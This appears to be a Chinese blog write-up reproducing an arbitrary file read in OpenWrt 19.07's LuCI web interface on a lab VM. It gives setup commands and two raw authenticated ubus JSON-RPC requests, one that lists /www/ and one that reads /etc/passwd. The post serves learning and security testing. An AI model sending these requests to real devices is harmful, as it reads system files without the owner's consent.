OpenWrt LuCi 任意文件读取
OpenWrt 环境搭建
下载OpenWrt 19.07 镜像、解压并转为镜像文件导入虚拟机。
wget https://downloads.openwrt.org/releases/19.07.0/targets/x86/generic/openwrt-19.07.0-x86-generic-combined-ext4.img.gzgunzip openwrt-19.07.0-x86-generic-combined-ext4.img.gz’sudo apt-get install qemu-utils -ysudo qemu-img convert -f raw openwrt-19.07.0-x86-generic-combined-ext4.img -O vmdk openwrt-19.07.0-x86-generic-combined-ext4.vmdk
WEB后台访问成功,设置好密码后,可以通过SSH访问。
系统文件目录列举
POST /cgi-bin/luci/admin/ubus?1733734260589 HTTP/1.1Host: 192.168.121.180Content-Length: 121User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36Content-Type: application/jsonAccept: */*Origin: http://192.168.121.180Referer: http://192.168.121.180/cgi-bin/luci/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: sysauth=305ade5ef36d6ced39e386729e8868b6Connection: close
[{"jsonrpc":"2.0","id":0,"method":"call","params":["305ade5ef36d6ced39e386729e8868b6","file","list",{"path":"/www/"}]}]
任意文件读取
POST /cgi-bin/luci/admin/ubus?1733734260589 HTTP/1.1Host: 192.168.121.180Content-Length: 127User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36Content-Type: application/jsonAccept: */*Origin: http://192.168.121.180Referer: http://192.168.121.180/cgi-bin/luci/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: sysauth=305ade5ef36d6ced39e386729e8868b6Connection: close
[{"jsonrpc":"2.0","id":0,"method":"call","params":["305ade5ef36d6ced39e386729e8868b6","file","read",{"path":"/etc/passwd"}]}]
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 程序员小航
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果